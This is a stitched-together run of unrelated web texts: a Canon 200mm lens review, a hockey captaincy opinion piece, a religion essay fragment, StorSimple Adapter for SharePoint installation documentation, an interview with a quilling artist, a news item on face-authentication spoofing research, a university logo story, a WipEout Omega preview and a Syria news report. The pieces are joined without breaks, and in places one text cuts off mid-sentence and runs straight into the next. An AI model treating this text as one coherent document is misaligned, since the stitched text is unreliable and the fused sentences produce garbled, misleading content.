Sharpness is something I can’t really describe in a single adjective, but rather, you need to use a Canon 200mm f/2L IS for yourself to understand how incredibly sharp this lens is. There is a reason why so many people often argue that the Canon 200mm f/2L IS is the sharpest lens in the Canon lineup, and while using the Canon 200mm f/1.8L, I’ve found where Canon got its sharpness inspiration from. While the f/1.8L version might not be able to match the incredible sharpness of the newer f/2 version, it does put up quite a fight and looks every bit as sharp when using 100% crops. We’re hoping to be able to ship this f/1.8L version out to Roger in Memphis so that he can give it his proper Olaf MTF testings if there is enough interest for it. So if you want to see how it holds up to his tedious testing, be sure to leave a note in the comments below.
So Why Was It Discontinued?
This is the age old question that seems to leave everyone scratching their heads. This lens, among a few listed in the intro, is considered one of the holy grails of Canon glass; so why did Canon decide to discontinue it and replace it with a slower version? Well, one culprit seems to be sales. From its introduction in 1988, until its retirement in 2004, the Canon 200mm f/1.8L only saw 8,000 sales. And the slow sales have plenty of its contributing factors. For one, 200mm is a strange focal length. A bit on the long side for portrait photography, and short on the sports photography side, 200mm is limited to indoor sports and is a bit of a black sheep in many of the sport telephoto scenes. Especially when you consider that in its retirement year of 2004, 5-megapixel sensors were considered the cutting edge of technology, so cropping while maintaining a high-resolution image was not yet possible. So for it being replaced with the f/2 version, there are several contributing factors. For one, is f/1.8 really needed on a 200mm lens? Bokeh snobs would argue that of course it’s required, but it doesn’t serve much need, which is why we see Canon replacing their f/1.2 lenses with f/1.4 lenses.
Another thing to note is that while this lens was retired in 2004, its replacement with the Canon 200mm f/2L wasn’t introduced until four years later in 2008. With a new autofocus system and image stabilization, the Canon 200mm f/2L IS proved to be the better option for photographers obsessing over the 200mm focal length. Along with limited sales, many also believe that the culprit for the four years without a wide apertured 200mm comes with Canon needing to uphold their environmentally-conscious agreement to remove lead from their lens manufacturing process.
Conclusion
For a full week, I had both the Canon 200mm f/2L and the Canon 200mm f/1.8L in my arsenal, and time and time again, I chose the f/1.8 version to be mounted to my system. Was it better? Probably not, but I just seemed to have more appreciation for the f/1.8L version. This has plenty of contributing factors, and possibly all lead back to my ego and knowing I’m shooting with a lens that is far rarer than its counterpart. But even ego aside, I saw no disadvantage to using the Canon 200mm f/1.8L and saw the incredible sharpness that made me fall in love with the Canon 200mm f/2 during my first ventures into this prime focal length. That said, this is all a pipe dream. With only a few hundred of these lenses still in existence, and the inability to get them serviced and repaired if damaged, one can only assume that finding one of these will only become more and more difficult as time goes on, and those prices will continue to creep up as a result. That said, Canon has done an incredible job with the Canon 200mmf/2L, a lens still being manufactured and is just as beloved as it’s older, and slightly faster brother.
Special thanks again to my friend and esteemed photographer Air Butchie for handing off his Canon 200mm f/1.8L to me to use and test. For even more photos with the Canon 200mm f/1.8L, be sure to follow my Instagram as I release images as they’re retouched.Mar 23, 2015; Calgary, Alberta, CAN; Colorado Avalanche left wing Cody McLeod (55) skates during the warmup period against the Calgary Flames at Scotiabank Saddledome. Calgary Flames won 3-2. Mandatory Credit: Sergei Belski-USA TODAY Sports
Left wing Cody McLeod is one of two alternate captains on the Colorado Avalanche. Cody McLeod is an energy player who gets way more fights than goals credited to his name. Cody McLeod is a fourth-liner who sees about 11 minutes of ice time per game.
And Cody McLeod is one of two alternate captains for the Colorado Avalanche.
Cody McLeod, Alternate Captain
Cody McLeod is the longest-tenured player on the Colorado Avalanche, having played all of is eight of his NHL seasons with the team. You can say a lot of things about Cody McLeod, but you can never question his heart. A player like McLeod is all heart — with a healthy dose of grit.
McLeod is never going to put up big offensive numbers. That’s not his role. Rather, he’s meant to be, as head coach Patrick Roy puts it, “a warrior, a great team guy and a great leader on this team.”
McLeod earned his letter when the team was still coached by Joe Sacco. However, coach Roy made no attempt to alter his alternate captaincy. He reasoned, “He’s not just a fourth-line guy.”
When asked about his letter during a locker room presser, McLeod looked bashful and remarked, “I guess the guys like me.”
Well, there’s certainly one guy who likes him — full-on captain Gabriel Landeskog. He calls McLeod “the ultimate teammate, the ultimate team player.”
Landeskog adds:
“He’s the guy you want to go out to battle with. He’s the guy you want on your team. He’s not fun to play against but certainly the guys want him on your side of the trenches. It’s testament to his character and who he is. He’s got one of the toughest jobs, but yet he goes out there and does it year in, year out, day in, day out. He’s a leader, and guys follow him.”
That’s pretty high praise from the man tasked to wear the “C” on his chest.
Cody McLeod, Alternate Captain?
One of our regular readers and a real firecracker, Sweetmamalou, has taken to referring to the player in question “Cody (face of the franchise) McLeod” in commentary. I’m pretty sure that’s ironic.
See, when a player wears a letter denoting captaincy or alternate captaincy, there is some expectation that he represents the team. Leadership is all well and good, but as coach Roy himself points out, there are a lot of leaders on the team. Not all leaders wear letters.
We return to the observation that Cody McLeod is a fighter and energy player who does time on the fourth line. He spends a lot more time arguing with the referees than representing the team to them, which was part of the rationale for offering the other “A” to veteran Jarome Iginla.
There’s also the little matter of what type of team the Colorado Avalanche is. The team has always been based on speed and scoring acumen. That is certainly not the type of player anyone would claim Cody McLeod is.
A lot of the arguments against McLeod are based on who fans would rather see wearing that “A.” The heavy favorite is center Matt Duchene, who is absolutely everything the Colorado Avalanche claim to be as a team. Defenseman Erik Johnson has a good following, too, especially since he’s the de facto leader of the blueliners. Both of those players are younger than McLeod and just so much more skilled and talented — more who the Colorado Avalanche are as a team.
So, many fans feel that, since not all leaders need to wear letters, McLeod can lead without wearing his. Let one of the young, skilled guys be the actual face of the franchise.
What do you think, Avs Nation? Should Cody McLeod continue to be the Colorado Avalanche’s alternate captain?
Should Cody McLeod be an alternate captain? Yes.
No. View ResultsThe extraordinary and eccentric emphasis on "belief" in Christianity today is an accident of history that has distorted our understanding of religious truth. We call religious people "believers", as though acceptance of a set of doctrines was their principal activity, and before undertaking the religious life many feel obliged to satisfy themselves about the metaphysical claims of the church, which cannot be proven rationally since they lie beyond the |
enter: SELECT SUM([Size]) FROM [ContentDatabaseName].[dbo].[DocStreams] WHERE [Content] IS NULL On SharePoint 2010 content databases, enter: SELECT SUM([Size]) FROM [ContentDatabaseName].[dbo].[AllDocs] WHERE [Content] IS NULL This step gets the size of the BLOBs that have been externalized.
We recommend that you store all BLOB and database content locally on the StorSimple device. The StorSimple device is a two-node cluster for high availability. Placing the content databases and BLOBs on the StorSimple device provides high availability. Use traditional SQL Server migration best practices to move the content database to the StorSimple device. Move the database only after all BLOB content from the database has been moved to the file share via RBS. If you choose to move the content database to the StorSimple device, we recommend that you configure the content database storage on the device as a primary volume.
In Microsoft Azure StorSimple, if using tiered volumes, there is no way to guarantee that content stored locally on the StorSimple device will not be tiered to Microsoft Azure cloud storage. Hence, we recommend using StorSimple locally pinned volumes in conjunction with SharePoint RBS. This will ensure that all BLOB content remains locally on the StorSimple device, and is not moved to Microsoft Azure.
If you do not store the content databases on the StorSimple device, use traditional SQL Server high availability best practices that support RBS. SQL Server clustering supports RBS, while SQL Server mirroring does not.
Warning If you have not enabled RBS, we do not recommend moving the content database to the StorSimple device. This is an untested configuration.
StorSimple Adapter for SharePoint installation
Before you can install the StorSimple Adapter for SharePoint, you must configure the StorSimple device and make sure that the SharePoint server farm and SQL Server instantiation meet all prerequisites. This tutorial describes configuration requirements, as well as procedures for installing and upgrading the StorSimple Adapter for SharePoint.
Configure prerequisites
Before you can install the StorSimple Adapter for SharePoint, make sure that the StorSimple device, SharePoint server farm, and SQL Server instantiation meet the following prerequisites.
System requirements
The StorSimple Adapter for SharePoint works with the following hardware and software:
Supported operating system – Windows Server 2008 R2 SP1, Windows Server 2012, or Windows Server 2012 R2
Supported SharePoint versions – SharePoint Server 2010 or SharePoint Server 2013
Supported SQL Server versions – SQL Server 2008 Enterprise Edition, SQL Server 2008 R2 Enterprise Edition, or SQL Server 2012 Enterprise Edition
Supported StorSimple devices – StorSimple 8000 series, StorSimple 7000 series, or StorSimple 5000 series.
StorSimple device configuration prerequisites
The StorSimple device is a block device and as such requires a file server on which the data can be hosted. We recommend that you use a separate server rather than an existing server from the SharePoint farm. This file server must be on the same local area network (LAN) as the SQL Server computer that hosts the content databases.
Tip If you configure your SharePoint farm for high availability, you should deploy the file server for high availability also.
If you do not store the content database on the StorSimple device, use traditional high availability best practices that support RBS. SQL Server clustering supports RBS, while SQL Server mirroring does not.
Make sure that your StorSimple device is configured correctly, and that appropriate volumes to support your SharePoint deployment are configured and accessible from your SQL Server computer. Go to Deploy your on-premises StorSimple device if you have not yet deployed and configured your StorSimple device. Note the IP address of the StorSimple device; you will need it during StorSimple Adapter for SharePoint installation.
In addition, make sure that the volume to be used for BLOB externalization meets the following requirements:
The volume must be formatted with a 64 KB allocation unit size.
Your web front end (WFE) and application servers must be able to access the volume via a Universal Naming Convention (UNC) path.
The SharePoint server farm must be configured to write to the volume.
Note After you install and configure the adapter, all BLOB externalization must go through the StorSimple device (the device will present the volumes to SQL Server and manage the storage tiers). You cannot use any other targets for BLOB externalization.
If you plan to use StorSimple Snapshot Manager to take snapshots of the BLOB and database data, be sure to install StorSimple Snapshot Manager on the database server so that it can use the SQL Writer Service to implement the Windows Volume Shadow Copy Service (VSS).
Important StorSimple Snapshot Manager does not support the SharePoint VSS Writer and cannot take application-consistent snapshots of SharePoint data. In a SharePoint scenario, StorSimple Snapshot Manager provides only crash-consistent backups.
SharePoint farm configuration prerequisites
Make sure that your SharePoint server farm is correctly configured, as follows:
Verify that your SharePoint server farm is in a healthy state, and check the following:
All SharePoint WFE and application servers registered in the farm are running and can be pinged from the server on which you will be installing the StorSimple Adapter for SharePoint.
The SharePoint Timer service (SPTimerV3 or SPTimerV4) is running on each WFE server and application server.
Both the SharePoint Timer service and the IIS application pool under which the SharePoint Central Administration site is running have administrative privileges.
Make sure that Internet Explorer Enhanced Security Context (IE ESC) is disabled. Follow these steps to disable IE ESC: Close all instances of Internet Explorer. Start the Server Manager. In the left pane, click Local Server. On the right pane, next to IE Enhanced Security Configuration, click On. Under Administrators, click Off. Click OK.
Remote BLOB Storage (RBS) prerequisites
Make sure that you are using a supported version of SQL Server. Only the following versions are supported and able to use RBS:
SQL Server 2008 Enterprise Edition
SQL Server 2008 R2 Enterprise Edition
SQL Server 2012 Enterprise Edition
BLOBs can be externalized on only those volumes that the StorSimple device presents to SQL Server. No other targets for BLOB externalization are supported.
When you have completed all prerequisite configuration steps, go to Install the StorSimple Adapter for SharePoint.
Install the StorSimple Adapter for SharePoint
Use the following steps to install the StorSimple Adapter for SharePoint. If you are reinstalling the software, see Upgrade or reinstall the StorSimple Adapter for SharePoint. The time required for the installation depends on the total number of SharePoint databases in your SharePoint server farm.
To install the StorSimple Adapter for SharePoint
Copy the installer to the web front end (WFE) server that is also configured to run the SharePoint Central Administration web application. Use an account with administrator privileges to sign in to the WFE server. Double-click the installer. The StorSimple Adapter for SharePoint Setup Wizard starts. Click Next to begin the installation. In the StorSimple Adapter for SharePoint setup configuration page, select an installation location, type the IP address for the DATA 0 network interface on your StorSimple device, and then click Next. In the setup confirmation page, click Install. Click Finish to close the Setup Wizard. Open the SharePoint Central Administration page. You should see a StorSimple Configuration group that contains the StorSimple Adapter for SharePoint links. Go to the next step: Configure RBS.
Configure RBS
After you install the StorSimple Adapter for SharePoint, configure RBS as described in the following procedure.
Tip The StorSimple Adapter for SharePoint plugs into the SharePoint Central Administration page, allowing RBS to be enabled or disabled on each content database in the SharePoint farm. However, enabling or disabling RBS on the content database causes an IIS reset, which, depending on your farm configuration, can momentarily disrupt the availability of the SharePoint web front end (WFE). (Factors such as the use of a front-end load balancer, the current server workload, and so on, can limit or eliminate this disruption.) To protect users from a disruption, we recommend that you enable or disable RBS only during a planned maintenance window.
Note When making changes to the StorSimple Adapter for SharePoint RBS configuration, you must be logged on with a user account that belongs to the Domain Admins group. Additionally, you must access the configuration page from a browser running on the same host as Central Administration.
To configure RBS
Open the SharePoint Central Administration page, and browse to System Settings. In the Azure StorSimple section, click Configure StorSimple Adapter. On the Configure StorSimple Adapter page: Make sure that the Enable editing path check box is selected. In the text box, type the Universal Naming Convention (UNC) path of the BLOB store. Note The BLOB store volume must be hosted on an iSCSI volume configured on the StorSimple device. Click the Enable button below each of the content databases that you want to configure for remote storage. Note The BLOB store must be shared and reachable by all web front-end (WFE) servers, and the user account that is configured for the SharePoint server farm must have access to the share. When you enable or disable RBS, you will also see the following message. Click the Update button to apply the configuration. When you click the Update button, the RBS configuration status will be updated on all WFE servers, and the entire farm will be RBS-enabled. The following message appears. Note If you are configuring RBS for a SharePoint farm with a very large number of databases (greater than 200), the SharePoint Central Administration web page might time out. If that occurs, refresh the page. This does not affect the configuration process. Verify the configuration: Sign in to the SharePoint Central Administration website, and browse to the Configure StorSimple Adapter page. Check the configuration details to make sure that they match the settings that you entered. Verify that RBS works correctly: Upload a document to SharePoint. Browse to the UNC path that you configured. Make sure that the RBS directory structure was created and that it contains the uploaded object. (Optional) You can use the Microsoft RBS Migrate() PowerShell cmdlet included with SharePoint to migrate existing BLOB content to the StorSimple device. For more information, see Migrate content into or out of RBS in SharePoint 2013 or Migrate content into or out of RBS (SharePoint Foundation 2010). (Optional) On test installations, you can verify that the BLOBs were moved out of the content database as follows: Start SQL Management Studio. Run the ListBlobsInDB_2010.sql or ListBlobsInDB_2013.sql query, as follows. **ListBlobsInDB_2013.sql** USE WSS_Content GO SELECT DocStreams.DocId, LeafName AS Name, Content, AllDocs.Size AS OrigSizeOfContent, LEN(CAST(Content AS VARBINARY(MAX))) AS SizeOfContentInDB, DocStreams.RbsId, TimeLastModified FROM DocStreams INNER JOIN AllDocs ON DocStreams.DocId = AllDocs.Id ORDER BY TimeLastModified DESC GO **ListBlobsInDB_2010.sql** USE WSS_Content GO SELECT AllDocStreams.Id, LeafName AS Name, Content, AllDocs.Size AS OrigSizeOfContent, LEN(CAST(Content AS VARBINARY(MAX))) AS SizeOfContentInDB, RbsId, TimeLastModified FROM AllDocStreams INNER JOIN AllDocs ON AllDocStreams.Id = AllDocs.Id ORDER BY TimeLastModified DESC GO If RBS was configured correctly, a NULL value should appear in the SizeOfContentInDB column for any object that was uploaded and successfully externalized with RBS. (Optional) After you configure RBS and move all BLOB content to the StorSimple device, you can move the content database to the device. If you choose to move the content database, we recommend that you configure the content database storage on the device as a primary volume. Then, use established SQL Server best practices to migrate the content database to the StorSimple device. Note Moving the content database to the device is only supported for the StorSimple 8000 series (it is not supported for the 5000 or 7000 series). If you store BLOBs and the content database in separate volumes on the StorSimple device, we recommend that you configure them in the same volume container. This ensures that they will be backed up together. Warning If you have not enabled RBS, we do not recommend moving the content database to the StorSimple device. This is an untested configuration. Go to the next step: Configure garbage collection.
Configure garbage collection
When objects are deleted from a SharePoint site, they are not automatically deleted from the RBS store volume. Instead, an asynchronous, background maintenance program deletes orphaned BLOBs from the file store. System administrators can schedule this process to run periodically or they can start it whenever necessary.
This maintenance program (Microsoft.Data.SqlRemoteBlobs.Maintainer.exe) is automatically installed on all SharePoint WFE servers and application servers when you enable RBS. The program is installed in the following location: boot drive:\Program Files\Microsoft SQL Remote Blob Storage 10.50\Maintainer\
For information about configuring and using the maintenance program, see Maintain RBS in SharePoint Server 2013.
Important The RBS maintainer program is resource intensive. You should schedule it to run only during periods of light activity on the SharePoint farm.
Delete orphaned BLOBs immediately
If you need to delete orphaned BLOBs immediately, you can use the following instructions. Note that these instructions are an example of how this can be done in a SharePoint 2013 environment with the following components:
The content database name is WSS_Content.
The SQL Server name is SHRPT13-SQL12\SHRPT13.
The web application name is SharePoint – 80.
In this procedure, you will:
To prepare to run the Maintainer
On the Web front-end server, open the SharePoint 2013 Management Shell as an administrator. Navigate to the folder boot drive:\Program Files\Microsoft SQL Remote Blob Storage 10.50\Maintainer. Rename Microsoft.Data.SqlRemoteBlobs.Maintainer.exe.config to web.config. Use aspnet_regiis -pdf connectionStrings to decrypt the web.config file. In the decrypted web.config file, under the connectionStrings node, add the connection string for your SQL server instance and the content database name. See the following example. <add name=”RBSMaintainerConnectionWSSContent” connectionString="Data Source=SHRPT13-SQL12\SHRPT13;Initial Catalog=WSS_Content;Integrated Security=True;Application Name="Remote Blob Storage Maintainer for WSS_Content"" providerName="System.Data.SqlClient" /> Use aspnet_regiis –pef connectionStrings to re-encrypt the web.config file. Rename web.config to Microsoft.Data.SqlRemoteBlobs.Maintainer.exe.config.
To prepare the content database and Recycle Bin to immediately delete orphaned BLOBs
On the SQL Server, in SQL Management Studio, run the following update queries for the target content database: `use WSS_Content` `exec mssqlrbs.rbs_sp_set_config_value ‘garbage_collection_time_window’, ’time 00:00:00’` `exec mssqlrbs.rbs_sp_set_config_value ‘delete_scan_period’, ’time 00:00:00’` On the web front-end server, under Central Administration, edit the Web Application General Settings for the desired content database to temporarily disable the Recycle Bin. This action will also empty the Recycle Bin for any related site collections. To do this, click Central Administration -> Application Management -> Web Applications (Manage web applications) -> SharePoint - 80 -> General Application Settings. Set the Recycle Bin Status to OFF.
To run the Maintainer
On the web front-end server, in the SharePoint 2013 Management Shell, run the Maintainer as follows: `Microsoft.Data.SqlRemoteBlobs.Maintainer.exe -ConnectionStringName RBSMaintainerConnectionWSSContent -Operation GarbageCollection -GarbageCollectionPhases rdo` Note Only the GarbageCollection operation is supported for StorSimple at this time. Also note that the parameters issued for Microsoft.Data.SqlRemoteBlobs.Maintainer.exe are case sensitive.
To revert the content database and Recycle Bin settings
On the SQL Server, in SQL Management Studio, run the following update queries for the target content database: use WSS_Content exec mssqlrbs.rbs_sp_set_config_value ‘garbage_collection_time_window’, ‘days 30’ exec mssqlrbs.rbs_sp_set_config_value ‘delete_scan_period’, ’days 30’ exec mssqlrbs.rbs_sp_set_config_value ‘orphan_scan_period’, ’days 30’ On the web front-end server, in Central Administration, edit the Web Application General Settings for the desired content database to re-enable the Recycle Bin. To do this, click Central Administration -> Application Management -> Web Applications (Manage web applications) -> SharePoint - 80 -> General Application Settings. Set the Recycle Bin Status to ON.
Upgrade or reinstall the StorSimple Adapter for SharePoint
Use the following procedure to upgrade SharePoint server and then reinstall StorSimple Adapter for SharePoint or to simply upgrade or reinstall the adapter in an existing SharePoint server farm.
Important Review the following information before you attempt to upgrade your SharePoint software and/or upgrade or reinstall the StorSimple Adapter for SharePoint: Any files that were previously moved to external storage via RBS will not be available until the reinstallation is finished and the RBS feature is enabled again. To limit user impact, perform any upgrade or reinstallation during a planned maintenance window.
The time required for the upgrade/reinstallation can vary, depending on the total number of SharePoint databases in the SharePoint server farm.
After the upgrade/reinstallation is complete, you need to enable RBS for the content databases. See Configure RBS for more information.
If you are configuring RBS for a SharePoint farm that has a very large number of databases (greater than 200), the SharePoint Central Administration page might time out. If that occurs, refresh the page. This does not affect the configuration process.
Upgrade SharePoint 2010 to SharePoint 2013 and then install the StorSomple Adapter for SharePoint
Important Any files that were previously moved to external storage via RBS will not be available until the upgrade is finished and the RBS feature is enabled again. To limit user impact, perform any upgrade or reinstallation during a planned maintenance window.
To upgrade SharePoint 2010 to SharePoint 2013 and then install the adapter
In the SharePoint 2010 farm, note the BLOB store path for the externalized BLOBs and the content databases for which RBS is enabled. Install and configure the new SharePoint 2013 farm. Move databases, applications, and site collections from the SharePoint 2010 farm to the new SharePoint 2013 farm. For instructions, go to Overview of the upgrade process to SharePoint 2013. Install the StorSimple Adapter for SharePoint on the new farm. Go to Install the StorSimple Adapter for SharePoint for procedures. Using the information that you noted in step 1, enable RBS for the same set of content databases and provide the same BLOB store path that was used in the SharePoint 2010 installation. Go to Configure RBS for procedures. After you complete this step, previously externalized files should be accessible from the new farm.
Upgrade the StorSimple Adapter for SharePoint
Important You should schedule this upgrade to occur during a planned maintenance window for the following reasons: Previously externalized content will not be available until the adapter is reinstalled.
Any content uploaded to the site after you uninstall the previous version of the StorSimple Adapter for SharePoint, but before you install the new version, will be stored in the content database. You will need to move that content to the StorSimple device after you install the new adapter. You can use the Microsoft RBS Migrate() PowerShell cmdlet included with SharePoint to migrate the content. For more information, see Migrate content into or out of RBS.
To upgrade the StorSimple Adapter for SharePoint
Uninstall the previous version of StorSimple Adapter for SharePoint. Note This will automatically disable RBS on the content databases. However, existing BLOBs will remain on the StorSimple device. Because RBS is disabled and the BLOBs have not been migrated back to the content databases, any requests for those BLOBs will fail. Install the new StorSimple Adapter for SharePoint. The new adapter will automatically recognize the content databases that were previously enabled or disabled for RBS and will use the previous settings.
StorSimple Adapter for SharePoint removal
The following procedures describe how to move the BLOBs back to the SQL Server content databases and then uninstall the StorSimple Adapter for SharePoint.
Important You have to move the BLOBs back to the content databases before you uninstall the adapter software.
Before you begin
Collect the following information before you move the data back to the SQL Server content databases and begin the adapter removal process:
The names of all the databases for which RBS is enabled
The UNC path of the configured BLOB store
Move the BLOBs back to the content databases
Before you uninstall the StorSimple Adapter for SharePoint software, you must migrate all of the BLOBs that were externalized back to the SQL Server content databases. If you attempt to uninstall the StorSimple Adapter for SharePoint before you move all the BLOBs back to the content databases, you will see the following warning message.
To move the BLOBs back to the content databases
Download each of the externalized objects. Open the SharePoint Central Administration page, and browse to System Settings. Under Azure StorSimple, click Configure StorSimple Adapter. On the Configure StorSimple Adapter page, click the Disable button below each of the content databases that you want to remove from external BLOB storage. Delete the objects from SharePoint, and then upload them again.
Alternatively, you can use the Microsoft RBS Migrate() PowerShell cmdlet included with SharePoint. For more information, see Migrate content into or out of RBS.
After you move the BLOBs back to the content database, go to the next step: Uninstall the adapter.
Uninstall the adapter
After you move the BLOBs back to the SQL Server content databases, use one of the following options to uninstall the StorSimple Adapter for SharePoint.
To use the installation program to uninstall the adapter
Use an account with administrator privileges to log on to the web front-end (WFE) server. Double-click the StorSimple Adapter for SharePoint installer. The Setup Wizard starts. Click Next. The following page appears. Click Remove to select the removal process. The following page appears. Click Remove to confirm the removal. The following progress page appears. When the removal is complete, the finish page appears. Click Finish to close the Setup Wizard.
To use the Control Panel to uninstall the adapter
Open the Control Panel, and then click Programs and Features. Select StorSimple Adapter for SharePoint, and then click Uninstall.
Next steps
Learn more about StorSimple.Istanbul-based Turkish artist Sena Runa left her job as an HR Specialist earlier this year to pursue her passion for paper quilling as a full-time job. “I began quilling three years ago,” she told us in an email. “While I was searching the internet for inspiration to find the right hobby for me, I found a colourful picture that was made from paper using the quilling technique, but I had no idea what it was called. I tried to make it (I had colored papers from my earlier hobby: origami), but it turned out awful! After exploring many quilled creations online, I soon found my own style.”
Now, Runa quills paper to creatively express the inspiring world around her. “Everything inspires me,” she admits. “When I see a photo on Instagram, or a contest on a website or a magazine, anything you could imagine inspires me. For example, while I was drinking my coffee the other day, I asked myself ‘Why don’t you make a coffee cup or something like that?’ and I made a small Frappuccino cup that same day :)”
Each swirling sliver of colorful paper adds shape and life to her bright and uplifting compositions. For more of Runa’s playful creations, you can follow her on Instagram or even purchase your own quilled craft through her Etsy shop.
Scroll down to read our full interview with Sena.
Can you tell us a bit about your process?
After I decide on the image, I draw a template, then I decide which colors I am going to use. After this, everything is spontaneous (details within the papers, I mean). The creative process for each item changes, so I can say that preparing one piece takes approximately a day to complete, and this is for the designs which I’ve made before. Creating a new design usually takes longer.
Heart shapes are almost everywhere in your work. What draws you to this motif?
I make a lot of hearts because people love the details in them, and it is one of the first artworks that I created. Also, it is a great way to say “I love you!”
Your captions on Instagram often involve song lyrics. How would you say music plays a role in your work?
Music is an inseparable part of my life. While I am creating an artwork, I listen to music. I am sure everyone has a memory with these songs in their life. The song “Love Is All Around” [by The Troggs] is my favourite song since I was 13 🙂
What advice do you have for someone interested in quilling or anyone that might be too scared to pursue a career in art?
I’d advise them to follow their imagination. There they can find originality. If they try to copy others’ works, that will limit their works. And they should have the passion for it, they should keep creating even if they’re tired or it’s 6 am in the morning.
Everything you create could be art, so if you believe that you make beautiful things, then you’ll see that everyone will agree. I am new in the art career (I’ve been a full-time working artist for 7 months), sometimes I feel scared and sometimes I don’t. I just believe in what I do and I know I’ll continue to create in the future.
Sena Runa: Instagram | Facebook | Etsy
My Modern Met granted permission to use photos by Sena Runa.The team collected photos of 20 volunteer subjects from online sources, like a real digital identity thief or stalker would do. They then created 3D models of the volunteers' faces, added some facial animations and tweaked their eyes so they'd look like they were looking at the camera. In cases wherein they didn't find any that showed the subject's whole face, they recreated the missing parts, even those areas' shadows and texture. What makes that even more impressive is that some of the volunteers are security researchers themselves, and the team were only able to dig up three or so low-quality photos of them online.
Since the researchers' 3D models have shadows and even move a bit, they were able to fool four out of five security systems they tested 55 percent to 85 percent of the time. According to Wired, team member True Price said during the team's presentation at Usenix security conference:
"Some vendors -- most notably Microsoft with its Windows Hello software -- already have commercial solutions that leverage alternative hardware. [In Hello's case, that hardware is Tobii's eye-tracking camera.] However, there is always a cost-benefit to adding hardware, and hardware vendors will need to decide whether there is enough demand from and benefit for consumers to add specialized components like IR cameras or structured light projectors."
A real face would would give off infrared radiation, after all, which could be an added layer of protection. If you want to read more about the team's method and results, you can check out the the full paper they published on Wired.Throw your V's up is the new phrase around the campus of the University of Idaho after the school decided to rebrand its logo on Friday. The major announcement had to do with the logo, which switched from the trademark I to a wavy V. And along with the new logo comes the athletic departments plea for fans to "throw up the V" at events as a way to show that Vandal pride.
If you're wondering what's so special about the logo, here it is:
Via
Not sure how well this will go over in Idaho. The old logo seemed just fine, and was what many recognized the Vandals as. Changing letters on a logo is a big change and may require some getting used to.
Then again, this is Idaho, and the Vandals do things their own way. Remember: the student ID is affectionately known as the V-Card, which elicits many a chuckle in the Palouse. So there's that.
Much like Miami throws the U and Oregon throws the O, Idaho now has a V to throw. Big time athletics, here they come.Has it really been almost five years? WipEout 2048, the last proper entry in the series, hit the Vita in January of 2012, and so much has happened since. The developer behind the series from the start, Sony's Studio Liverpool, is sadly no more, and since then the PlayStation 4 has been around long enough to already feel like something of a seasoned beast. Yet in its three years on the market the console has felt like it's had a little chunk missing. It doesn't really feel like a proper PlayStation without a WipEout to play on it.
Ever since the original WipEout launched in 1995 and was at the forefront of PlayStation's push for an edgier, more mature audience, the series has been synonymous with Sony's hardware. In Pulse and Pure it bolstered the PSP, with 2048 it proved the technical chops of the Vita, and now it's doing a decent job of making the case for 4K gaming on the PlayStation 4 Pro. WipEout Omega, viewed on the right equipment, looks shockingly good.
There will be both a physical retail and a downloadable version of the Omega Collection - both due in summer 2017. A new soundtrack will also be included - due to what we assume are licensing reasons, the old one won't be present.
Sublime enough to make you forget this has its roots in a brace of PSP games that are over a decade old. WipEout Pure and Pulse laid the groundwork for WipEout HD, of which this an ostensibly a remake with content from 2012's 2048 remastered and bundled in. In total that's some 26 tracks, 46 ships and nine game modes. All of which adds up to a fair amount of WipEout.
The refit is enough to cover those roots up, too. The textures have been remade for circuits and ships, the poly count has been upped significantly and there's a new level of detail that's been layered in. Ships bear marks and scratches, while track surfaces have a tangible feel of smoothed concrete and brushed steel. It's a remarkable looking game, and as good an advert for 4K gaming as anything else out there on the PlayStation 4 Pro.
With Studio Liverpool no more, who exactly is behind this new WipEout? XDev, Sony's internal unit that works with independent studios - and is in the same building where Studio Liverpool once lived - is collaborating with developers Clever Beans and EPOS for WipEout Omega. The former studio, situated in Manchester, even contains a handful of ex-Studio Liverpool devs.
Studio Liverpool's work provides the foundation, of course, and the developer hinted before its closure that it was working on bringing the tracks of the Vita version into HD. "We had access to archives, and we've got the 2048 game in there," explains XDev producer Mark O'Connor. "That's going to give us the biggest bang for buck - it was on the Vita, it looked great on there but having it on a TV like this..."
Sadly there's no VR support planned for the Omega Collection. 'You'd probably need a sickbag if you looked at WipEout in VR now,' says O'Connor.
Those tracks aren't on show just yet, but they promise to be the fresher part of WipEout Omega. 2048 had its own unique and busier aesthetic, its races taking place on bustling city streets in a prequel to the cleaner, more hard-edged games in the series. "The tracks are wider, the ships look different," says O'Connor. "They're obviously set at different times, there's 150 years between them. It's more street-based, there are more alternate routes. It looks a bit different and it plays a bit different, the way the back end swings out on the ships."
Beyond the visuals, WipEout remains untouched - the feel of the originals is intact, as are the weapon-sets and features. "Because WipEout works so well, we didn't want to tinker," says O'Connor. "There have been various games over the years that have tried to imitate WipEout, and they haven't quite got it for me because the handling isn't really there. So for now we've left it alone. It's already balanced."
It feels good, too. It's nice to get reacquainted with WipEout's particular feel, its floaty ships disguising an often punishing difficulty. Come to it off the back of something like Redout, a recent success on Steam that has a clear debt to WipEout, and it's clear the series has some secret sauce that has yet to be replicated elsewhere. Some might be understandably disappointed this is a repackaging of an older game (it will introduce split-screen for the first time to 2048, though, alongside eight-player online), but it's certainly one that's worth reviving, and the developers behind Omega have done a great job of polishing it up. It's early days, too - the build being shown at PSX is the result of only a few month's work, with many visual features such as particle effects yet to be implemented.
There's the hope, too, that Omega will lead on to other things, and that maybe it'll pave the way for an all-new WipEout. "I would hope so," says O'Connor. "It's within the PlayStation DNA. I would hope this would bring new people in who've not played the franchise before, and whet the appetite of those who have played before. It's been a long time since we've had it on PlayStation."
The best Halo gifts, clothes and accessories From Jelly Deals: our top picks for the best Halo merchandise available.
Having WipEout finally on PS4 helps the console feel a little more complete, and strengthens its ties to PlayStation's rich heritage. You could tell from the tingle of excitement in the room when Omega was announced what this series means to the fans, as well as what it means to its creators. Shawn Layden worked on the original as his first job when at Sony in Japan in the 90s and has said it's a personal favourite, while O'Connor's own history is entwined with the series.
"I tested the original WipEout back in 1995," he says. "It was the dawn of the PlayStation then, we had Destruction Derby and Toshinden. We thought we were onto something big. I worked on that! These are great games that keep coming back. My last title was Shadow of the Beast - that was another classic of the time. When you get a nugget of gameplay that works really well, it transcends console generations, and you're just adapting them to the power of whatever console you're working on."
This might be an older WipEout spruced up for the PS4, then, but that's not such a bad thing. The essence of this series, Omega so handsomely proves, has the ability to feel pretty much timeless.BEIRUT (Reuters) - Syrian security forces, undaunted by the presence of Arab League observers, have killed at least 12 protesters as hundreds of thousands demonstrated against the government of President Bashar al-Assad, opposition activists said.
Five members of the security forces were also killed in a shooting in the city of Homs, the British-based Syrian Observatory for Human Rights said Friday.
